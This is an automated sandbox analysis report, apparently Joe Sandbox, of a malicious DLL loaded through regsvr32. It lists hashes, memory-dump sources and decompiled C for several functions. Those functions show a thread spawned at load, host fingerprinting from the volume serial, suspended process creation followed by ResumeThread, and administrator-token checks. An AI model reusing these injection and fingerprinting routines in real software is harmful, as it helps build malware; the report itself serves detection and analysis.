Opcode Fuzzy Hash: 87c0048786ca181e5c8ff39e70e6426cb3969aadc1f8e644a84481ff241b22a6
Instruction Fuzzy Hash: CAD24A72804608EFEF04AFA0C8897AEBBF1FF44312F0545AEDC99AA155D7741264CF69

Uniqueness

Uniqueness Score: -1.00%

Function 010D2A87, Relevance: 2.8, APIs: 1, Instructions: 1253
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000003.00000002.700519164.00000000010D0000.00000040.00000001.sdmp, Offset: 010D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10d0000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e1e56f0f7203f33569bba6a8796cccc107198b74671ff6a002d452fd7853aa4
Instruction ID: d537796127b98041e19f2cfc4d0208ba4fa823e85e373689024ca4c01cc899de
Opcode Fuzzy Hash: 4e1e56f0f7203f33569bba6a8796cccc107198b74671ff6a002d452fd7853aa4
Instruction Fuzzy Hash: 23D2487280461ADFEF00EFA0C8897AEBBF0FF44312F05496ED899AA145D7745264CF69

Uniqueness

Uniqueness Score: -1.00%

Function 010D31D8, Relevance: 2.2, APIs: 1, Instructions: 694libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE ref: 010D35CD

Memory Dump Source

Source File: 00000003.00000002.700519164.00000000010D0000.00000040.00000001.sdmp, Offset: 010D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10d0000_regsvr32.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 7521f67f960d94dbf14d9dc271f2df0b1af2620942c9d896fcae9c8eed6398e0
Instruction ID: e88565e119615054f78ef7bf3c578dfc7c8f5102b94f6f1ce50e33f1a2d233f8
Opcode Fuzzy Hash: 7521f67f960d94dbf14d9dc271f2df0b1af2620942c9d896fcae9c8eed6398e0
Instruction Fuzzy Hash: 2F72687280461ADFEF04DFA0C8897AEBBF0FF48312F05496ED899AA145D7741264CF69

Uniqueness

Uniqueness Score: -1.00%

Function 010D330B, Relevance: 2.1, APIs: 1, Instructions: 648libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE ref: 010D35CD

Memory Dump Source

Source File: 00000003.00000002.700519164.00000000010D0000.00000040.00000001.sdmp, Offset: 010D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10d0000_regsvr32.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 9350e666b17d130fa3c7246bb9da43ae7770df134873358edc4c57b2807ca950
Instruction ID: 7f881e1b9a8a91329056e30c0554b01209e534bbc6b80dcf126300dd817683e3
Opcode Fuzzy Hash: 9350e666b17d130fa3c7246bb9da43ae7770df134873358edc4c57b2807ca950
Instruction Fuzzy Hash: A162697280461ACFEF04DFA0C8897AEBBF0FF48312F05496ED899AA145D7741264CF69

Uniqueness

Uniqueness Score: -1.00%

Function 1000D060, Relevance: 7.6, APIs: 5, Instructions: 82
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E1000D060(void* __ecx, WCHAR* __edi, WCHAR* _a4) {
				long _v8;
				long _v12;
				WCHAR* _v16;
				short _v528;
				short _v1040;
				short _v1552;
				intOrPtr _t22;
				WCHAR* _t26;
				void* _t31;
				long _t36;
				void* _t43;
				WCHAR* _t54;

				_t54 = __edi;
				_t43 = __ecx;
				_v8 = 0;
				memset(__edi, 0, 0x100);
				_t22 =  *0x1002b760; // 0x121f8b0
				_v12 = 0x100;
				 *((intOrPtr*)(_t22 + 0xb0))( &_v528,  &_v12);
				lstrcpynW(__edi,  &_v528, 0x100);
				_t26 = E10008A90(_t43, 0x589);
				_v16 = _t26;
				if(GetVolumeInformationW(_t26,  &_v1552, 0x100,  &_v8, 0, 0,  &_v1040, 0x100) == 0) {
					_v8 = 0;
				}
				E1000A741( &_v16);
				_t31 = E1000C8FB(_t54);
				E1000AF04( &(_t54[E1000C8FB(_t54)]), 0x100 - _t31, L"%u", _v8);
				lstrcatW(_t54, _a4);
				_t36 = E1000C8FB(_t54);
				_v12 = _t36;
				CharUpperBuffW(_t54, _t36);
				return E1000BF2C(0, _t54, E1000C8FB(_t54) + _t38);
			}

0x1000d060
0x1000d060
0x1000d075
0x1000d078
0x1000d08b
0x1000d090
0x1000d093
0x1000d0a2
0x1000d0ad
0x1000d0c9
0x1000d0d7
0x1000d0d9
0x1000d0d9
0x1000d0e0
0x1000d0f0
0x1000d101
0x1000d10d
0x1000d115
0x1000d11c
0x1000d11f
0x1000d13c

APIs

memset.MSVCRT ref: 1000D078
lstrcpynW.KERNEL32(?,?,00000100,?,00000228,00000105), ref: 1000D0A2
GetVolumeInformationW.KERNELBASE(00000000,?,00000100,00000000,00000000,00000000,?,00000100,?,00000228,00000105), ref: 1000D0D2
lstrcatW.KERNEL32(?,?), ref: 1000D10D
CharUpperBuffW.USER32(?,00000000,?,?,?,?,?,00000228,00000105), ref: 1000D11F

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID: BuffCharInformationUpperVolumelstrcatlstrcpynmemset
String ID:
API String ID: 4224442183-0
Opcode ID: 15c5457276eeae9060b2d9837bf8ad8dc9ac18253da88004893280290fa96c07
Instruction ID: d567b669b7cd32e4a6cb145ae1d575ed629e778a767ab6e32bc5561feb0a87b0
Opcode Fuzzy Hash: 15c5457276eeae9060b2d9837bf8ad8dc9ac18253da88004893280290fa96c07
Instruction Fuzzy Hash: A4216DF6900218BFFB00DBA4DC8ADFE77BDEF49240F10416AF905E2155EA346E428B64

Uniqueness

Uniqueness Score: -1.00%

Function 10002E46, Relevance: 7.6, APIs: 5, Instructions: 69
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 70%

			_entry_(void* __ecx, void* __edx, void* __edi, struct HINSTANCE__* _a4, long _a8) {
				char _v12;
				short _v532;
				void* __esi;
				void* _t14;
				struct HINSTANCE__* _t17;
				long _t18;
				long _t19;
				void* _t23;
				void* _t28;
				intOrPtr* _t34;
				void* _t37;

				_t28 = __edi;
				_t27 = __edx;
				if(_a8 != 1) {
					if(_a8 == 0) {
						TerminateThread( *0x1002b758, 0); // executed
					}
					L11:
					E10004000(_t27);
					L12:
					return 1;
				}
				E10009605();
				_t14 = E1000B036(__ecx, __edx,  &_v12);
				_t37 = __edx;
				if(_t37 > 0 || _t37 >= 0 && _t14 >= 0x2c643) {
					_push(_t28);
					E1000AC87();
					 *0x1002b75c = GetModuleHandleA(0);
					_t17 = _a4;
					 *0x1002b774 = _t17;
					_t18 = GetModuleFileNameW(_t17,  &_v532, 0x104);
					_t19 = GetLastError();
					if(_t18 != 0) {
						if(_t19 == 0x7a) {
							goto L5;
						}
						E1001B990( *0x1002b774);
						 *_t34 = 0x36a;
						_push(0x11c);
						_push(0x10020560);
						 *0x1002b760 = E1000E6ED();
						_a8 = 0;
						_t23 = CreateThread(0, 0, E10002B82, 0, 0,  &_a8);
						 *0x1002b758 = _t23;
						if(_t23 != 0) {
							goto L11;
						}
					}
					L5:
					return 0;
				} else {
					goto L12;
				}
			}

0x10002e46
0x10002e46
0x10002e54
0x10002f0d
0x10002f16
0x10002f16
0x10002f1c
0x10002f1c
0x10002f21
0x00000000
0x10002f23
0x10002e5a
0x10002e62
0x10002e69
0x10002e6b
0x10002e7e
0x10002e7f
0x10002e96
0x10002e9b
0x10002ea0
0x10002ea5
0x10002ead
0x10002eb6
0x10002ebf
0x00000000
0x00000000
0x10002ec7
0x10002ecc
0x10002ed3
0x10002ed8
0x10002ef2
0x10002ef7
0x10002efa
0x10002efd
0x10002f04
0x00000000
0x00000000
0x10002f06
0x10002eb8
0x00000000
0x00000000
0x00000000
0x00000000

APIs

TerminateThread.KERNELBASE(00000000), ref: 10002F16

Part of subcall function 10009605: HeapCreate.KERNELBASE(00000000,00080000,00000000,10002E5F), ref: 1000960E

Part of subcall function 1000B036: GetSystemTimeAsFileTime.KERNEL32(10004011,?,?,?,10004011,00000000), ref: 1000B03F
Part of subcall function 1000B036: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 1000B05F

GetModuleHandleA.KERNEL32(00000000), ref: 10002E85
GetModuleFileNameW.KERNEL32(?,?,00000104), ref: 10002EA5
GetLastError.KERNEL32 ref: 10002EAD
CreateThread.KERNELBASE(00000000,00000000,10002B82,00000000,00000000,00000001), ref: 10002EFA

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID: CreateFileModuleThreadTime$ErrorHandleHeapLastNameSystemTerminateUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 2320757192-0
Opcode ID: 127fff3484a6b7d1636e0c903bb964a991f2f83ca4d1cb56019d5e684e6ec6ac
Instruction ID: 9e2cc5665a1a52d1ee62cb60650be52717d26f2db3040b4fc7f5306a6c0d791d
Opcode Fuzzy Hash: 127fff3484a6b7d1636e0c903bb964a991f2f83ca4d1cb56019d5e684e6ec6ac
Instruction Fuzzy Hash: AC11EE71844674EBF722EF70CC8A99F3BE9EB153D0B204435F809E216ADB305982CB91

Uniqueness

Uniqueness Score: -1.00%

Function 1000E341, Relevance: 4.6, APIs: 3, Instructions: 130
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 93%

			E1000E341(intOrPtr _a4) {
				char _v44;
				intOrPtr _v56;
				void* _v60;
				char _v64;
				void* _v68;
				void* _v72;
				signed int _v76;
				void* _v80;
				intOrPtr _v104;
				void* __esi;
				char _t46;
				intOrPtr _t47;
				void* _t53;
				void* _t58;
				intOrPtr _t59;
				intOrPtr _t61;
				intOrPtr _t63;
				void* _t65;
				intOrPtr _t67;
				long _t71;
				intOrPtr _t72;
				void* _t74;
				void* _t90;
				intOrPtr _t96;
				void* _t98;

				_v68 = 0;
				_v80 = 0;
				_t46 = E1000E4C8( &_v68);
				_v64 = _t46;
				if(_t46 != 0) {
					_t47 =  *0x1002b740; // 0x11a04a0
					E1000B497( &_v44, __eflags,  *((intOrPtr*)(_t47 + 0xac)) + 7);
					_t90 = _v68;
					_v76 = 0;
					__eflags = _t90;
					if(_t90 <= 0) {
						L23:
						E100094F4( &_v64, 0);
						_t53 = _v80;
						goto L24;
					} else {
						goto L3;
					}
					while(1) {
						L3:
						__eflags = _v80;
						if(_v80 != 0) {
							break;
						}
						_v72 = 0;
						do {
							__eflags = _v80;
							if(_v80 != 0) {
								break;
							}
							asm("stosd");
							asm("stosd");
							asm("stosd");
							asm("stosd");
							_t58 = E1000A17B( *((intOrPtr*)(_v64 + _v76 * 4)),  &_v60); // executed
							__eflags = _t58;
							if(__eflags >= 0) {
								_t65 = E1000E23A( &_v60, __eflags, E10002C08, _a4); // executed
								__eflags = _t65;
								if(_t65 != 0) {
									_t67 =  *0x1002b760; // 0x121f8b0
									_t98 =  *((intOrPtr*)(_t67 + 0xc4))(0, 0, 0,  &_v44);
									__eflags = _t98;
									if(_t98 != 0) {
										GetLastError();
										_t71 = ResumeThread(_v72);
										__eflags = _t71;
										_t72 =  *0x1002b760; // 0x121f8b0
										if(_t71 != 0) {
											_t74 =  *((intOrPtr*)(_t72 + 0x2c))(_t98, 0xea60);
											__eflags = _t74;
											if(_t74 == 0) {
												_v104 = 1;
											}
											_t72 =  *0x1002b760; // 0x121f8b0
										}
										FindCloseChangeNotification(_t98);
									}
								}
							}
							__eflags = _v60;
							if(_v60 != 0) {
								__eflags = _v80;
								if(_v80 == 0) {
									_t63 =  *0x1002b760; // 0x121f8b0
									 *((intOrPtr*)(_t63 + 0x104))(_v60, 0);
								}
								_t59 =  *0x1002b760; // 0x121f8b0
								 *((intOrPtr*)(_t59 + 0x30))(_v56);
								_t61 =  *0x1002b760; // 0x121f8b0
								 *((intOrPtr*)(_t61 + 0x30))(_v64);
							}
							_v72 = _v72 + 1;
							__eflags = _v72 - 2;
						} while (_v72 < 2);
						_v76 = _v76 + 1;
						_t90 = _v68;
						__eflags = _v76 - _t90;
						if(_v76 < _t90) {
							continue;
						}
						break;
					}
					__eflags = _t90;
					if(_t90 <= 0) {
						goto L23;
					}
					_t96 = _v64;
					do {
						E100094F4(_t96, 0xfffffffe);
						_t96 = _t96 + 4;
						_t90 = _t90 - 1;
						__eflags = _t90;
					} while (_t90 != 0);
					goto L23;
				} else {
					_t53 = 0;
					L24:
					return _t53;
				}
			}

0x1000e354
0x1000e358
0x1000e35c
0x1000e362
0x1000e368
0x1000e371
0x1000e384
0x1000e389
0x1000e38e
0x1000e392
0x1000e394
0x1000e4b0
0x1000e4b6
0x1000e4bb
0x00000000
0x00000000
0x00000000
0x00000000
0x1000e39a
0x1000e39a
0x1000e39a
0x1000e39e
0x00000000
0x00000000
0x1000e3a4
0x1000e3a8
0x1000e3a8
0x1000e3ac
0x00000000
0x00000000
0x1000e3bc
0x1000e3bd
0x1000e3be
0x1000e3bf
0x1000e3cc
0x1000e3d3
0x1000e3d5
0x1000e3e3
0x1000e3ea
0x1000e3ec
0x1000e3f3
0x1000e401
0x1000e403
0x1000e405
0x1000e407
0x1000e416
0x1000e41c
0x1000e41e
0x1000e423
0x1000e42b
0x1000e42e
0x1000e430
0x1000e432
0x1000e432
0x1000e43a
0x1000e43a
0x1000e440
0x1000e440
0x1000e405
0x1000e3ec
0x1000e443
0x1000e447
0x1000e449
0x1000e44d
0x1000e44f
0x1000e459
0x1000e459
0x1000e463
0x1000e468
0x1000e46f
0x1000e474
0x1000e474
0x1000e477
0x1000e47b
0x1000e47b
0x1000e486
0x1000e48a
0x1000e48e
0x1000e492
0x00000000
0x00000000
0x00000000
0x1000e492
0x1000e498
0x1000e49a
0x00000000
0x00000000
0x1000e49c
0x1000e4a0
0x1000e4a3
0x1000e4a9
0x1000e4ac
0x1000e4ac
0x1000e4ad
0x00000000
0x1000e36a
0x1000e36a
0x1000e4c1
0x1000e4c7
0x1000e4c7

APIs

GetLastError.KERNEL32(?,00000001), ref: 1000E407
ResumeThread.KERNELBASE(?,?,00000001), ref: 1000E416
FindCloseChangeNotification.KERNELBASE(00000000,?,00000001), ref: 1000E440

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID: ChangeCloseErrorFindLastNotificationResumeThread
String ID:
API String ID: 4135917582-0
Opcode ID: 175ac6753d932b3abd57dc33e13a0300b5545660e03c13ce3e85136f823a6d0c
Instruction ID: c4d6bd6e2edd143e6ad14d1b70b833d607ce79fdc61506c19f2b0fe80dfcdd12
Opcode Fuzzy Hash: 175ac6753d932b3abd57dc33e13a0300b5545660e03c13ce3e85136f823a6d0c
Instruction Fuzzy Hash: B4418B72108796EFE300DF68C88485AB7E8FF88394F11496DF685A3165DB30EE05CB52

Uniqueness

Uniqueness Score: -1.00%

Function 1000D481, Relevance: 4.5, APIs: 3, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 91%

			E1000D481(void* _a4, union _TOKEN_INFORMATION_CLASS _a8, DWORD* _a12) {
				long _v8;
				void* _v12;
				void* _t16;
				void* _t28;

				_push(_t23);
				_t28 = 0;
				if(GetTokenInformation(_a4, _a8, 0, 0,  &_v8) != 0 || GetLastError() != 0x7a) {
					L6:
					_t16 = _t28;
				} else {
					_t28 = E10009568(_v8);
					_v12 = _t28;
					if(_t28 != 0) {
						if(GetTokenInformation(_a4, _a8, _t28, _v8, _a12) != 0) {
							goto L6;
						} else {
							E100094F4( &_v12, _t20);
							goto L3;
						}
					} else {
						L3:
						_t16 = 0;
					}
				}
				return _t16;
			}

0x1000d485
0x1000d490
0x1000d49f
0x1000d4e9
0x1000d4e9
0x1000d4ac
0x1000d4b4
0x1000d4b7
0x1000d4bc
0x1000d4d9
0x00000000
0x1000d4db
0x1000d4e0
0x00000000
0x1000d4e6
0x1000d4be
0x1000d4be
0x1000d4be
0x1000d4be
0x1000d4bc
0x1000d4ed

APIs

GetTokenInformation.KERNELBASE(00000000,00000000,00000000,00000000,00000000,00001644,?,?,?,1000D1C2,00000000,00000001,00000000,00001644), ref: 1000D49A
GetLastError.KERNEL32(?,?,?,1000D1C2,00000000,00000001,00000000,00001644,?,?,?,1000EBDC,00000000), ref: 1000D4A1

Part of subcall function 10009568: RtlAllocateHeap.NTDLL(00000008,?,?,1000AC93,00000100,?,10002E84), ref: 10009576

GetTokenInformation.KERNELBASE(00000000,00000000,00000000,00000000,1000EBDC,?,?,?,1000D1C2,00000000,00000001,00000000,00001644), ref: 1000D4D4

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID: InformationToken$AllocateErrorHeapLast
String ID:
API String ID: 2499131667-0
Opcode ID: b3108f410726841d88a9d4bebe6a64f841c7fa702aad2422756576156e10ca86
Instruction ID: 2e02ee7bfebe63a8f5d46c1c756e1852af4bb6d8ed68780670a376aaf1dac24c
Opcode Fuzzy Hash: b3108f410726841d88a9d4bebe6a64f841c7fa702aad2422756576156e10ca86
Instruction Fuzzy Hash: 92012C76904129BFEB21EFA1CC45D8F7FADFF046E0B118452F905D6164D631EA119BA0

Uniqueness

Uniqueness Score: -1.00%

Function 1000A17B, Relevance: 3.0, APIs: 2, Instructions: 42
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 37%

			E1000A17B(WCHAR* _a4, struct _PROCESS_INFORMATION* _a8) {
				struct _STARTUPINFOW _v72;
				signed int _t13;
				int _t18;

				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t18 = 0x44;
				memset( &_v72, 0, _t18);
				_v72.cb = _t18;
				_t13 = CreateProcessW(0, _a4, 0, 0, 0, 4, 0, 0,  &_v72, _a8);
				asm("sbb eax, eax");
				return  ~( ~_t13) - 1;
			}

0x1000a188
0x1000a189
0x1000a18a
0x1000a18d
0x1000a18e
0x1000a197
0x1000a1b5
0x1000a1b9
0x1000a1be
0x1000a1c6

APIs

memset.MSVCRT ref: 1000A197
CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,00000004,00000000,00000000,?,00000000,?,00000000,?), ref: 1000A1B9

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID: CreateProcessmemset
String ID:
API String ID: 2296119082-0
Opcode ID: 6adcc0dc8ca81109d073ab12099b980b57c85be104fadb445228b707cce5487c
Instruction ID: cb50a848d41dfd2113f1549bf529d87c15a31fa8c4203c05365e40aa99f2f2ab
Opcode Fuzzy Hash: 6adcc0dc8ca81109d073ab12099b980b57c85be104fadb445228b707cce5487c
Instruction Fuzzy Hash: FCF012B650552C7EDB20DAAADC09DCFBFACEF8A674F104121FA09D6161D170EA05C6E1

Uniqueness

Uniqueness Score: -1.00%

Function 1000E6ED, Relevance: 3.0, APIs: 2, Instructions: 30
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 47%

			E1000E6ED(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v8;
				char _t8;
				struct HINSTANCE__* _t10;
				void* _t15;
				void* _t20;

				_t8 = E10008A79();
				_t20 = 0;
				_v8 = _t8;
				_push(_t8);
				if(_a12 != 0x36a) {
					_t10 = LoadLibraryA(); // executed
				} else {
					_t10 = GetModuleHandleA();
				}
				if(_t10 != 0) {
					_t15 = E1000E739(_a8, _a4, _t10); // executed
					_t20 = _t15;
				}
				E1000A72E( &_v8);
				return _t20;
			}

0x1000e6f5
0x1000e6fa
0x1000e703
0x1000e706
0x1000e707
0x1000e716
0x1000e709
0x1000e709
0x1000e709
0x1000e71a
0x1000e723
0x1000e72a
0x1000e72a
0x1000e72f
0x1000e738

APIs

GetModuleHandleA.KERNEL32(00000000,00000000), ref: 1000E709
LoadLibraryA.KERNELBASE(00000000,00000000), ref: 1000E716

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID: HandleLibraryLoadModule
String ID:
API String ID: 4133054770-0
Opcode ID: d6fbbaf1fcacedcbdc47143774664f535d773dbb04b08e3340753c260a4ba0dd
Instruction ID: eda929d127fe906358f1abc33f0ff664b94eac5a66c4f59ed02731b1b7487915
Opcode Fuzzy Hash: d6fbbaf1fcacedcbdc47143774664f535d773dbb04b08e3340753c260a4ba0dd
Instruction Fuzzy Hash: 5DF03035108659ABFB41DF68EC8589E77ECEB053D0B204165F908EB115DB30EE409B95

Uniqueness

Uniqueness Score: -1.00%

Function 1000E7F9, Relevance: 2.5, APIs: 2, Instructions: 47
sleepstringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E1000E7F9(void* __ecx, intOrPtr _a4, CHAR* _a8) {
				signed int _v8;
				int _t33;
				signed int _t34;
				signed int _t37;
				signed int _t41;
				signed int* _t44;

				_t44 = _a8;
				_t41 = 0;
				_v8 = 0;
				if(_t44[1] > 0) {
					do {
						_t4 =  &(_t44[2]); // 0x1824448d
						_t37 = 0;
						if( *((intOrPtr*)( *_t4 + _t41 + 8)) > 0) {
							_a8 = _a4 + 0x24;
							while(1) {
								_t9 =  &(_t44[2]); // 0x1824448d
								_t33 = lstrcmpiA(_a8,  *( *((intOrPtr*)( *_t9 + _t41 + 0xc)) + _t37 * 4));
								_t15 =  &(_t44[2]); // 0x1824448d
								_t34 =  *_t15;
								if(_t33 == 0) {
									break;
								}
								_t37 = _t37 + 1;
								if(_t37 <  *((intOrPtr*)(_t34 + _t41 + 8))) {
									continue;
								} else {
								}
								goto L8;
							}
							 *_t44 =  *_t44 |  *(_t34 + _t41);
						}
						L8:
						_v8 = _v8 + 1;
						_t41 = _t41 + 0x10;
						_t22 =  &(_t44[1]); // 0x1274f685
					} while (_v8 <  *_t22);
				}
				Sleep(0xa);
				return 1;
			}

0x1000e7fe
0x1000e802
0x1000e804
0x1000e80a
0x1000e80d
0x1000e80d
0x1000e810
0x1000e816
0x1000e81e
0x1000e821
0x1000e821
0x1000e82e
0x1000e836
0x1000e836
0x1000e839
0x00000000
0x00000000
0x1000e83b
0x1000e840
0x00000000
0x00000000
0x1000e842
0x00000000
0x1000e840
0x1000e847
0x1000e847
0x1000e849
0x1000e849
0x1000e84f
0x1000e852
0x1000e852
0x1000e857
0x1000e85f
0x1000e86b

APIs

lstrcmpiA.KERNEL32(1000A238,?,00000011,00000000,00000128,?,?,1000A238,?,?), ref: 1000E82E
Sleep.KERNELBASE(0000000A,00000000,00000128,?,?,1000A238,?,?), ref: 1000E85F

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID: Sleeplstrcmpi
String ID:
API String ID: 1261054337-0
Opcode ID: fed66b8a8937e86c8c62a66eefe7c22ff06bedd4efca51871605cbf223ecd584
Instruction ID: ed29d78b284578d556cb108174647cb0bd20de0dabc0ccd3761f76def8afb4a8
Opcode Fuzzy Hash: fed66b8a8937e86c8c62a66eefe7c22ff06bedd4efca51871605cbf223ecd584
Instruction Fuzzy Hash: C6012D31604646EFE720DF9AC8C5D45B7E5FF44354B21C469E56DDB221C630E940CB50

Uniqueness

Uniqueness Score: -1.00%

Function 1000D588, Relevance: 1.6, APIs: 1, Instructions: 82
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E1000D588(void* __ecx) {
				intOrPtr* _v8;
				char _v12;
				char _v16;
				void* _v20;
				char _v24;
				char _v28;
				short _v32;
				char _v36;
				void* _t25;
				intOrPtr* _t26;
				intOrPtr _t29;
				intOrPtr _t34;
				intOrPtr _t36;
				intOrPtr _t40;
				void* _t50;
				intOrPtr* _t53;

				_v12 = 0;
				_v36 = 0;
				_v32 = 0x500;
				_t25 = E1000D13D(__ecx);
				_v20 = _t25;
				if(_t25 != 0) {
					_t26 = E1000D481(_t25, 2,  &_v28); // executed
					_t53 = _t26;
					_v24 = _t53;
					if(_t53 != 0) {
						_push( &_v16);
						_push(0);
						_push(0);
						_push(0);
						_push(0);
						_push(0);
						_push(0);
						_push(0x220);
						_push(0x20);
						_push(2);
						_push( &_v36);
						_t34 =  *0x1002b76c; // 0x121fa78
						if( *((intOrPtr*)(_t34 + 0xc))() != 0) {
							_t50 = 0;
							_v12 = 0;
							if( *_t53 > 0) {
								_t11 = _t53 + 4; // 0x4
								_v8 = _t11;
								while(1) {
									_push(_v16);
									_push( *_v8);
									_t40 =  *0x1002b76c; // 0x121fa78
									if( *((intOrPtr*)(_t40 + 0x64))() != 0) {
										break;
									}
									_v8 = _v8 + 8;
									_t50 = _t50 + 1;
									if(_t50 <  *_t53) {
										continue;
									} else {
									}
									goto L11;
								}
								_v12 = 1;
							}
							L11:
							_t36 =  *0x1002b76c; // 0x121fa78
							 *((intOrPtr*)(_t36 + 0x10))(_v16);
						}
					}
					FindCloseChangeNotification(_v20);
					if(_t53 != 0) {
						E100094F4( &_v24, 0);
					}
					_t29 = _v12;
				} else {
					_t29 = 0;
				}
				return _t29;
			}

0x1000d591
0x1000d594
0x1000d597
0x1000d59d
0x1000d5a2
0x1000d5a7
0x1000d5b8
0x1000d5bd
0x1000d5c2
0x1000d5c7
0x1000d5cc
0x1000d5cd
0x1000d5ce
0x1000d5cf
0x1000d5d0
0x1000d5d1
0x1000d5d2
0x1000d5d3
0x1000d5d8
0x1000d5da
0x1000d5df
0x1000d5e0
0x1000d5ea
0x1000d5ed
0x1000d5ef
0x1000d5f4
0x1000d5f6
0x1000d5f9
0x1000d5fc
0x1000d5fc
0x1000d602
0x1000d604
0x1000d60e
0x00000000
0x00000000
0x1000d610
0x1000d614
0x1000d617
0x00000000
0x00000000
0x1000d619
0x00000000
0x1000d617
0x1000d61b
0x1000d61b
0x1000d622
0x1000d625
0x1000d62a
0x1000d62d
0x1000d5ea
0x1000d636
0x1000d63c
0x1000d643
0x1000d649
0x1000d64a
0x1000d5a9
0x1000d5a9
0x1000d5a9
0x1000d64f

APIs

Part of subcall function 1000D13D: GetCurrentThread.KERNEL32 ref: 1000D150
Part of subcall function 1000D13D: GetLastError.KERNEL32(?,1000D5A2,00000105), ref: 1000D15E
Part of subcall function 1000D13D: GetCurrentProcess.KERNEL32(00000008,00000105,?,1000D5A2,00000105), ref: 1000D177

FindCloseChangeNotification.KERNELBASE(?,?,00001644,00000105), ref: 1000D636

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID: Current$ChangeCloseErrorFindLastNotificationProcessThread
String ID:
API String ID: 4248193355-0
Opcode ID: 45b7ee33097885d0e299f1cde360e87f494a795357d5ef65be16f5a081a317c1
Instruction ID: 806290c20699ec01faa05ac0f389bec2cae33d8cdbf18fc213ddcd96d4f7971c
